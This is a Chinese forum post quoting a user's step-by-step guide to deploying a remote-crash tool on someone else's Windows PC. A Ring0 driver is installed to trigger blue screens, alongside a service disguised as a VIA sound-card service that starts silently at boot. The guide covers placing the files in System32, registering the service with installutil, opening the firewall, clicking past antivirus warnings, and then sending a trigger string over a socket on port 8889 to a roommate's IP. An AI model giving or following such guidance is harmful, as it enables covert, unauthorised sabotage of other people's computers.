引用 黑暗死宅男:全部编译出来 驱动和服务都挂载到系统,然后在内网用socket客户端连接过来,服务器地址时受害机的IP地址,然后给服务器发"哈药三精" 服务器就蓝屏了
怎么用
将整个程序包放到C:\windows\System32\*下随便建一个文件夹或者放在某个已有的目录
DriverAPI.dll 是C++写的驱动通信接口 封装的winapi C#服务通过他与驱动通信
HID.inf
HID.sys 驱动程序 Ring0权限 可以执行蓝屏
InstallUtil.exe .net服务挂载器
VIAAudioServices.exe 伪装成威盛声卡服务的 windows服务 Windows 服务能够创建在它们自己的 Windows 会话中可长时间运行的可执行应用程序。这些服务可以在计算机启动时自动启动，可以暂停和重新启动而且不显示任何用户界面。
WdfCoinstaller01011.dll 驱动安装所必须的
挂载驱动:
打开设备管理器 添加过时硬件
下一步 安装我手动从列表选择的硬件(高级) 下一步 显示所有设备 下一步 从磁盘安装
浏览 定位到 HID.inf (目录下必须还有HID.sys , WdfCoinstaller01011.dll) 打开 确定 下一步
下一步 始终安装此驱动程序软件 (360会有警告 选择允许) 完成
安装服务:
CMD命令: 必须以管理员权限运行 CMD
挂载服务命令: C:\Windows\System32\0409\installutil.exe C:\Windows\System32\0409\VIAAudioServices.exe
↑ .net服务挂载工具 exe后有一个空格↑↑ 服务所在路径,最好在C盘system32下 ↑
(360可能有提示 允许即可)
卸载服务
C:\Windows\System32\0409\installutil.exe /u C:\Windows\System32\0409\VIAAudioServices.exe
此时服务还未启动 而且，不能与外网通信
打开控制面板 搜索防火墙 允许应用通过windows防火墙进行通信 更改设置
允许其他应用 添加C:\Windows\System32\0409\VIAAudioServices.exe 添加 网络类型 公用专用都勾上
挂载好服务之后打开任务管理器或者服务管理器 右键启动
就能看到服务进程了,这个服务会在系统启动的时候无声无息的自动启动
此时 打开socket客户端 服务器IP就是你室友的IP 端口是8889